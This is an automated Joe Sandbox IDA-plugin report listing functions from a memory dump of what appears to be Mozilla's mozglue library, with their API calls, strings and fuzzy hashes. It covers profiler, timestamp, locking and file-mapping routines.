Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e71f3da9bbc7d6539a3d175a12f0434d91f862f834ab7b7bb5e8a863797dfa97
Instruction ID: 8142ae4ca21e118855029562c33bb5e3d9eb58f5a27b4efa11280f3e547ffbf7
Opcode Fuzzy Hash: e71f3da9bbc7d6539a3d175a12f0434d91f862f834ab7b7bb5e8a863797dfa97
Instruction Fuzzy Hash: 1261F8B1709205DFEF00CF64D884B9A3BB4FB4AB18F618119ED1597B80D730EA65CB92

Function 6C957FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C958007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C95801D

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C95802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C95803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C95808D

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C95809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9580B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9580DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9580ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9580FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C958133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C958149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C958167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C95817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C958199

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: a232091b3012513ef6f96284bdeb4fb973229e0b509c575aef772aa477d089f8
Instruction ID: 57761057c6192d50a09a27815d745f2b89a853d88a9f4cab06cfb21effbad08a
Opcode Fuzzy Hash: a232091b3012513ef6f96284bdeb4fb973229e0b509c575aef772aa477d089f8
Instruction Fuzzy Hash: 5B5193B2E00214ABDF00DBA9DC84AEFB7B9AF69264F640125E815F7741E730D914CBA1

Function 6C9A6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6694
GetThreadId.KERNEL32(?), ref: 6C9A66B1
GetCurrentThreadId.KERNEL32 ref: 6C9A66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9A66E1
EnterCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6734
GetCurrentProcess.KERNEL32 ref: 6C9A673A
LeaveCriticalSection.KERNEL32(6C9CF618), ref: 6C9A676C
GetCurrentThread.KERNEL32 ref: 6C9A67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9A6868
RtlCaptureContext.NTDLL ref: 6C9A687F

Strings

WalkStack64, xrefs: 6C9A6890

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6fb1bfc92ada3223c4f035e09941b2954d66652ad87c959061bf1eb2916795ec
Instruction ID: f7c219eabd0cf4419e3235ac936af7ce3362908d509e63c9785e510b6df3ebcc
Opcode Fuzzy Hash: 6fb1bfc92ada3223c4f035e09941b2954d66652ad87c959061bf1eb2916795ec
Instruction Fuzzy Hash: 3C519D71A09341AFD711CF68C844B9ABBF8FF89B14F10492DF59997640D770EA09CB92

Function 6C98DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98DE73
GetCurrentThreadId.KERNEL32 ref: 6C98DF7D
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98DFC9
GetCurrentThreadId.KERNEL32 ref: 6C98DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C954A68), ref: 6C98DE7B

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C954A68), ref: 6C98DEB8
free.MOZGLUE(00000000,?,6C954A68), ref: 6C98DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C98DF38

Strings

<none>, xrefs: 6C98DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C98E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C98DE83

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 9b50c32704e6036f648f51454a9da887749d71d1da7f5389cbb16477ec01f7eb
Instruction ID: 47d2f380d0226db71e7cb87cb4d9ed5ae104c2dba7bda1af66305a3830d5e6dd
Opcode Fuzzy Hash: 9b50c32704e6036f648f51454a9da887749d71d1da7f5389cbb16477ec01f7eb
Instruction Fuzzy Hash: A8414732B062119BEB109F65C8087AE7779FF9670CF24041AE90A97F41CB34DA15CBE2

Function 6C99D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D52A
GetCurrentThreadId.KERNEL32 ref: 6C99D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D55F
free.MOZGLUE(00000000), ref: 6C99D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99D5D3
GetCurrentThreadId.KERNEL32 ref: 6C99D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D652
GetCurrentThreadId.KERNEL32 ref: 6C99D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C99D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99D6A2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 87fa582867d22485831390302795beb89e497f397276de1ee77825e8384bfcc1
Instruction ID: 03ab518dddaa6fb3fe37a0e0fe9d2b9ef05aa4cf37effdd5659160fe0efacbc5
Opcode Fuzzy Hash: 87fa582867d22485831390302795beb89e497f397276de1ee77825e8384bfcc1
Instruction Fuzzy Hash: 16516C71608705EFC704DF34C484A9ABBB8FF89358F10862EE95A87711DB30E995CB91

Function 6C965670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9656D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9656E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9656F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C965744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9657BC
GetTickCount64.KERNEL32 ref: 6C9658CB
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C9658F3
__aulldiv.LIBCMT ref: 6C965945
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C9659B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9CF638,?,?,?,?), ref: 6C9659E9

Strings

MOZ_APP_RESTART, xrefs: 6C9656CC

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 7fc44ed75535fc0bedbd2f3e373962d3722e440c2c139d8c710759d3a5ac71ec
Instruction ID: 2291bfe6bfe611b044bf527802836d2482dc22393c83b18fc50863a72fb7606d
Opcode Fuzzy Hash: 7fc44ed75535fc0bedbd2f3e373962d3722e440c2c139d8c710759d3a5ac71ec
Instruction Fuzzy Hash: DEC19A31A0C7449FDB05CF28C54066ABBF1BF9A718F258A1DE8C597B61D730E985CB82

Function 6C98EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98EC8C

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98ECA1
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C98ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98ED19
CloseHandle.KERNEL32(?), ref: 6C98ED28
free.MOZGLUE(00000000), ref: 6C98ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C98EC94

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 7a04d04bf417161ac9d6ac6da90f13ff75f495d8384a00d3ff2355e5a9bd6655
Instruction ID: 8419a975747be4625ff8ff005acbc7077072311ee104651be1b293807bed6dd6
Opcode Fuzzy Hash: 7a04d04bf417161ac9d6ac6da90f13ff75f495d8384a00d3ff2355e5a9bd6655
Instruction Fuzzy Hash: 4D212479605108AFDF009F64D808AAA3779FB9636DF204611FD1887B41DB35D909CBE2

Function 6C988ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C94EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C98B392,?,?,00000001), ref: 6C9891F4

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Strings

timeline-overview, xrefs: 6C98907A
timeline-fileio, xrefs: 6C9890A4
marker-chart, xrefs: 6C98905E
timeline-ipc, xrefs: 6C989096
timeline-memory, xrefs: 6C989088
data, xrefs: 6C9890E8
marker-table, xrefs: 6C98906C
stack-chart, xrefs: 6C9890B2
name, xrefs: 6C988F16

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: be3aac9dccc4539cc084a535218a15cb7caa8a6a270da62a5d52c38867ce80b1
Instruction ID: 778578ecab6693c76056d6970fb38eccbcd228837e9c4d683ffbf3f70e4aaf21
Opcode Fuzzy Hash: be3aac9dccc4539cc084a535218a15cb7caa8a6a270da62a5d52c38867ce80b1
Instruction Fuzzy Hash: 2AB1B2B1A02209ABDB08CF94C4917EFBBB5BF95318F204429D502ABF84D731DA55CBE1

Function 6C96C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C96C5A3
WideCharToMultiByte.KERNEL32 ref: 6C96C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C96C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C96CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C96CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C96CAA5

Strings

(null), xrefs: 6C96C596
0, xrefs: 6C96D30A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 8e6859e647cb7b986aa29b39fe973a14cd62cbab696f62b98efd728e1f2690a1
Instruction ID: ce84d343a8bed3c3919eedbe9439ff5fc1b21b5a0d2462b9d1b31bcc601ece0e
Opcode Fuzzy Hash: 8e6859e647cb7b986aa29b39fe973a14cd62cbab696f62b98efd728e1f2690a1
Instruction Fuzzy Hash: B9A1AE316083429FEB00DF2AC554B5ABBF5AF89748F14881DF899D7B81DB31E805CB92

Function 6C96C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C96C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C96C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C96C891

Strings

nan, xrefs: 6C96C7A8
INF, xrefs: 6C96C794
NAN, xrefs: 6C96C7AD
inf, xrefs: 6C96C78F

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: fe073eda30600150667a1d07148899575d834029b611070fdb2b51945d317c59
Instruction ID: 2fabdc3db887422de512623c0fbbedfd29ed35857385c9baa38225afc7af8090
Opcode Fuzzy Hash: fe073eda30600150667a1d07148899575d834029b611070fdb2b51945d317c59
Instruction Fuzzy Hash: AB5184715087808BEB10DF6DC58169AFBF4BF9A304F00891DF9D5A7A91E770D9858B43

Function 6C944480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C984843,?), ref: 6C9445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C984843,?), ref: 6C94468A
free.MOZGLUE(?,?,?,?,?,?,6C984843,?), ref: 6C9446C9
free.MOZGLUE(?), ref: 6C9446EF
free.MOZGLUE(?), ref: 6C944712
free.MOZGLUE(?), ref: 6C944735
free.MOZGLUE(?), ref: 6C944758
free.MOZGLUE(?), ref: 6C94477B
free.MOZGLUE(?), ref: 6C94479E

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 941c921ef598f79dfc151f1aba2944e2a30729de343773b63784ec1035be261c
Instruction ID: dde4d9330706ab1e5c4e9b0f4950cc15e7ce3f1575fd031447e8f3f13cc0daeb
Opcode Fuzzy Hash: 941c921ef598f79dfc151f1aba2944e2a30729de343773b63784ec1035be261c
Instruction Fuzzy Hash: EAB1EF72A001518FDB18DE3CD8A076D77A6AF52328F188669E816DFFD6E730D8408F81

Function 6C9AAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9AAC52
CreateFileMappingW.KERNEL32 ref: 6C9AAC7D
GetSystemInfo.KERNEL32 ref: 6C9AAC98
MapViewOfFile.KERNEL32 ref: 6C9AACB0
GetSystemInfo.KERNEL32 ref: 6C9AACCD
MapViewOfFile.KERNEL32 ref: 6C9AAD05
UnmapViewOfFile.KERNEL32 ref: 6C9AAD1C
CloseHandle.KERNEL32 ref: 6C9AAD28
UnmapViewOfFile.KERNEL32 ref: 6C9AAD37
CloseHandle.KERNEL32 ref: 6C9AAD43
CloseHandle.KERNEL32 ref: 6C9AAD67

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d80367ebc2280ec95bce22155f450ae55ffe803b0adcef57877cdde96d304b8d
Instruction ID: 473d3a3936c9a9cdf889f2ccb8545ea1a9a39e6491bee19e1bc42565b8c5921f
Opcode Fuzzy Hash: d80367ebc2280ec95bce22155f450ae55ffe803b0adcef57877cdde96d304b8d
Instruction Fuzzy Hash: 29316FB1A087448FDB00EFB8D64826EBBF4BF85705F11892DE98587211EB709599CB82

Function 6C959620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C959675
__Init_thread_footer.LIBCMT ref: 6C959697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C959707
__Init_thread_footer.LIBCMT ref: 6C95971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959773

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9597B7
FreeLibrary.KERNEL32 ref: 6C9597D0
FreeLibrary.KERNEL32 ref: 6C9597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C959670
NtMapViewOfSection, xrefs: 6C959701
MapViewOfFileNuma2, xrefs: 6C9597B1
ntdll.dll, xrefs: 6C9596E3

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
